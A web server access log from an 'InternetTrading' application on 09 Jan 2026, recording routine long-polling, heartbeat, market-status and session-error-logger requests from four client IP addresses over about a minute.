[09/Jan/2026:15:20:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943495004 HTTP/1.1" -
[09/Jan/2026:15:20:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943496179 HTTP/1.1" -
[09/Jan/2026:15:20:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943496733 HTTP/1.1" -
[09/Jan/2026:15:20:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943505331 HTTP/1.1" -
[09/Jan/2026:15:20:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943500036 HTTP/1.1" -
[09/Jan/2026:15:20:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943501266 HTTP/1.1" -
[09/Jan/2026:15:20:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943501759 HTTP/1.1" -
[09/Jan/2026:15:20:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943510366 HTTP/1.1" -
[09/Jan/2026:15:20:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943505078 HTTP/1.1" -
[09/Jan/2026:15:20:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943506396 HTTP/1.1" -
[09/Jan/2026:15:20:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943506807 HTTP/1.1" -
[09/Jan/2026:15:20:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943515432 HTTP/1.1" -
[09/Jan/2026:15:20:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943510274 HTTP/1.1" -
[09/Jan/2026:15:20:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943511443 HTTP/1.1" -
[09/Jan/2026:15:20:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943511829 HTTP/1.1" -
[09/Jan/2026:15:20:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943520543 HTTP/1.1" -
[09/Jan/2026:15:20:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943515416 HTTP/1.1" -
[09/Jan/2026:15:20:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943516662 HTTP/1.1" -
[09/Jan/2026:15:20:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943516870 HTTP/1.1" -
[09/Jan/2026:15:20:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943525586 HTTP/1.1" -
[09/Jan/2026:15:20:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943520552 HTTP/1.1" -
[09/Jan/2026:15:20:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943521883 HTTP/1.1" -
[09/Jan/2026:15:20:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943521910 HTTP/1.1" -
[09/Jan/2026:15:20:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943530677 HTTP/1.1" -
[09/Jan/2026:15:20:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943525668 HTTP/1.1" -
[09/Jan/2026:15:20:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943526958 HTTP/1.1" -
[09/Jan/2026:15:20:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943526952 HTTP/1.1" -
[09/Jan/2026:15:21:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943535768 HTTP/1.1" -
[09/Jan/2026:15:21:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943530736 HTTP/1.1" -
[09/Jan/2026:15:21:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943532060 HTTP/1.1" -
[09/Jan/2026:15:21:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943531981 HTTP/1.1" -
[09/Jan/2026:15:21:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943540800 HTTP/1.1" -
[09/Jan/2026:15:21:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943535793 HTTP/1.1" -
[09/Jan/2026:15:21:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943537129 HTTP/1.1" -
[09/Jan/2026:15:21:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943537017 HTTP/1.1" -
[09/Jan/2026:15:21:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943545880 HTTP/1.1" -
[09/Jan/2026:15:21:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943540958 HTTP/1.1" -
[09/Jan/2026:15:21:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943542293 HTTP/1.1" -
[09/Jan/2026:15:21:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943542045 HTTP/1.1" -
[09/Jan/2026:15:21:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943550988 HTTP/1.1" -
[09/Jan/2026:15:21:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943546093 HTTP/1.1" -
[09/Jan/2026:15:21:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943547086 HTTP/1.1" -
[09/Jan/2026:15:21:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943547502 HTTP/1.1" -
[09/Jan/2026:15:21:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943556021 HTTP/1.1" -
[09/Jan/2026:15:21:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943551230 HTTP/1.1" -
[09/Jan/2026:15:21:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943552134 HTTP/1.1" -
[09/Jan/2026:15:21:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943552673 HTTP/1.1" -
[09/Jan/2026:15:21:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943561087 HTTP/1.1" -
[09/Jan/2026:15:21:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943556439 HTTP/1.1" -
[09/Jan/2026:15:21:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943557171 HTTP/1.1" -
[09/Jan/2026:15:21:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943557713 HTTP/1.1" -
[09/Jan/2026:15:21:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943566181 HTTP/1.1" -
[09/Jan/2026:15:21:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943561495 HTTP/1.1" -
[09/Jan/2026:15:21:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943562206 HTTP/1.1" -
[09/Jan/2026:15:21:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943562898 HTTP/1.1" -
